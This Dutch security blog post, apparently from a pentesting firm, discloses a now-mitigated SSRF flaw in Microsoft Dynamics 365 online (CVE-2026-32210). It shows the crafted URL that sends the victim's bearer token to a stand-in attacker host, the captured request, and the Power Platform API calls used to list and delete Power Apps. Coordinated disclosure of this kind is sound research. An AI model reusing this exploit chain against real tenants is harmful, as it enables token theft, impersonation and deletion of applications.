12 juni 2026 · 5 min leestijd · Onderzoek
Hackify heeft een kwetsbaarheid ontdekt in Microsoft Dynamics 365 (online) waarmee een geauthenticeerde gebruiker via Server-Side Request Forgery (SSRF) de server een uitgaand HTTP-verzoek kon laten uitvoeren naar een door de aanvaller gekozen bestemming. Dat uitgaande verzoek bevatte de OAuth bearer-token van het slachtoffer. Met die token kon vervolgens de Power Platform API worden aangesproken om Power Apps in te zien, te wijzigen en te verwijderen. Microsoft registreerde de kwetsbaarheid als CVE-2026-32210 en heeft deze inmiddels volledig gemitigeerd aan de servicekant. Gebruikers hoeven zelf niets te doen.
Microsoft Dynamics 365 (online) is een cloudgebaseerd platform voor CRM- en ERP-toepassingen, zoals sales, customer service, finance en operations in één online omgeving. Onder de motorkap draait Dynamics 365 op Dataverse, het dataplatform van Microsoft Power Platform, dat via een Web API wordt ontsloten. Diezelfde Power Platform-laag bedient ook Power Apps, Power Automate en Copilot Studio.
De kwetsbaarheid bevindt zich in het Dataverse Web API-endpoint msdyn_UCIClientAuth van Dynamics 365 (online). Dit endpoint accepteert een door de gebruiker te bepalen URL in de parameter @EndpointEnum. De backend voert vervolgens namens de server een HTTP-verzoek uit naar die URL.
Twee eigenschappen maken dit ernstig. Ten eerste is de SSRF non-blind. De responsbody van het externe verzoek wordt teruggegeven aan de aanroeper en in de Dynamics-pagina gerenderd, dus de aanvaller ziet de respons. Ten tweede lekt de bearer-token. Het uitgaande, server-side verzoek bevat de OAuth bearer-token van de ingelogde gebruiker in de Authorization-header. Door dat verzoek naar een aanvaller-gecontroleerd endpoint te sturen, komt die token bij de aanvaller terecht.
De kwetsbaarheid is aanwezig op de Dynamics 365 (online) omgevings-URL’s in de vorm https://<environment-id>.<region>.dynamics.com en lijkt wereldwijd, over alle regionale endpoints, voor te komen. Iedere geauthenticeerde gebruiker, uit elke tenant, kan slachtoffer worden zodra die verleid wordt een geprepareerde URL te bezoeken.
De aanvaller zet een HTTPS-endpoint op dat inkomende verzoeken volledig logt, inclusief bron-IP en alle request-headers. Dit kan een eigen webserver zijn of Burp Suite Collaborator. In de voorbeelden hieronder staat https://attacker.example.com/demo voor het aanvaller-endpoint; het echte domein laten we hier weg.
Het slachtoffer is ingelogd in zijn Dynamics 365-omgeving (bijvoorbeeld https://org251c08a7.crm4.dynamics.com) en bezoekt, terwijl die sessie actief is, de volgende URL:
https://org251c08a7.crm4.dynamics.com/api/data/v9.0/msdyn_UCIClientAuth(EndpointEnum=@EndpointEnum,RequestMethod=@RequestMethod,RequestBody=@RequestBody,RequestHeaders=@RequestHeaders)?@EndpointEnum=%27https%3A%2F%2Fattacker.example.com%2Fdemo%27&@RequestMethod=%27GET%27&@RequestBody=null&@RequestHeaders=null
De parameter @EndpointEnum bevat hier het aanvaller-endpoint (https://attacker.example.com/demo), en @RequestMethod staat op GET.
Dynamics voert het server-side verzoek uit naar https://attacker.example.com/demo. De responsbody van die server wordt teruggegeven en in de Dynamics-pagina weergegeven:
{
"@odata.context": "https://org251c08a7.crm4.dynamics.com/api/data/v9.0/$metadata#Microsoft.Dynamics.CRM.msdyn_UCIClientAuthResponse",
"statuscode": "200",
"response": "This is an HTML response from the attacker.example.com website, provided as a demonstration of the SSRF vulnerability.\n"
}
Hiermee is bevestigd dat de SSRF non-blind is. De externe respons komt terug bij de aanroeper.
Op de aanvaller-server verschijnt een inkomend verzoek, afkomstig van een Microsoft-IP-adres, met de Authorization-header van het slachtoffer:
GET /demo HTTP/1.1
From IP: 98.71.111.236
Accept: application/json
Authorization: Bearer eyJ0eXAiOiJKV1Qi...<afgekapt>...
Host: attacker.example.com
Connection: Keep-Alive
De token is een JWT met de volgende relevante claims:
aud): https://api.powerplatform.comiss): https://sts.windows.net/<tenant-id>/iat/exp)scp, selectie): PowerApps.Apps.Read, PowerApps.Apps.Update, PowerApps.Apps.Delete, PowerApps.AppPermissions.Create, Connectivity.Connectors.Write, CopilotStudio.Copilots.Invoke, PowerVirtualAgents.Conversations.Read en diverse andere Power Platform- en AI-scopes.De token is bovendien niet gebonden aan het client-IP of de browsersessie. Daardoor kan de aanvaller hem vanaf een eigen systeem hergebruiken.
Met de buitgemaakte token bevraagt de aanvaller de Power Platform API:
GET /powerapps/apps?api-version=1 HTTP/2
Host: <environment-id>.environment.api.powerplatform.com
Authorization: Bearer eyJ0eXAiOiJKV1Qi...<afgekapt>...
De respons (HTTP/2 200 OK) bevat een lijst met Power Apps in de omgeving van het slachtoffer. Dit bevestigt dat de token geldig en herbruikbaar is en niet aan sessie of IP gebonden is. De token werkt tegen onder meer:
https://api.powerplatform.comhttps://<environment-id>.environment.api.powerplatform.comhttps://<tenant-id>.tenant.api.powerplatform.comMet dezelfde token kan de aanvaller een Power App verwijderen door de id uit de vorige respons te gebruiken:
DELETE /powerapps/apps/<app-id>?api-version=1 HTTP/2
Host: <environment-id>.environment.api.powerplatform.com
Authorization: Bearer eyJ0eXAiOiJKV1Qi...<afgekapt>...
De Power App wordt verwijderd. Naast verwijderen is ook het wijzigen van Power Apps mogelijk, binnen het rechtenbereik van het slachtoffer, zolang de token geldig is (circa 70 minuten).
Onderstaande video toont de volledige keten, van het triggeren van de SSRF tot het verwijderen van een Power App met de buitgemaakte token.
Succesvolle exploitatie komt neer op impersonatie van een geauthenticeerde gebruiker binnen diens rechtenbereik. Een aanvaller die een slachtoffer verleidt één geprepareerde URL te openen, kan diens Power Platform bearer-token buitmaken en daarmee Power Apps opsommen, wijzigen en verwijderen. Omdat de kwetsbaarheid op alle regionale Dynamics 365 (online) endpoints aanwezig leek, kon in principe elke geauthenticeerde gebruiker uit elke tenant doelwit zijn.
| Metric | Waarde |
|---|---|
| CVE | CVE-2026-32210 |
| Type | Server-Side Request Forgery (CWE-918), met token-leak (CWE-522) en unintended proxy (CWE-441) |
| Kwetsbaar component | Dataverse Web API (msdyn_UCIClientAuth endpoint); Power Platform REST API |
| Max severity | Critical |
| CVSS-score (Microsoft) | 9.3 / 8.1 |
| CVSS-vector (Microsoft) | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N/E:U/RL:O/RC:C |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | Required |
| Scope | Changed |
| Confidentiality | High |
| Integrity | High |
| Availability | None |
Deze kwetsbaarheid is door Microsoft volledig gemitigeerd aan de servicekant. Gebruikers van Microsoft Dynamics 365 (online) hoeven zelf geen actie te ondernemen. Het CVE is door Microsoft gepubliceerd in het kader van transparantie over cloud-kwetsbaarheden (zie Toward greater transparency: Unveiling Cloud Service CVEs).
Deze kwetsbaarheid is gerapporteerd door Sander Meijering van Hackify. Microsoft erkent de bijdrage van de security-community via coordinated vulnerability disclosure; de erkenning is opgenomen bij CVE-2026-32210.
Neem vrijblijvend contact met ons op. We denken graag met u mee over de beste aanpak voor uw organisatie.
Neem contact opOf mail ons direct via [email protected]
Kerberoasting kraakt offline service-account-wachtwoorden uit Kerberos TGS-tickets. Wij vinden er in een AD-pentest vrijwel altijd zwakke service-accounts mee.
NTLM is het oudere Microsoft challenge-response authenticatieprotocol in Windows-netwerken. Wij tonen waar het lekt in uw AD en hoe u het kunt uitfaseren.
SSRF (Server-Side Request Forgery) laat een aanvaller uw server HTTP-verzoeken laten doen naar zelf-gekozen adressen. Wij testen waar dat mogelijk is.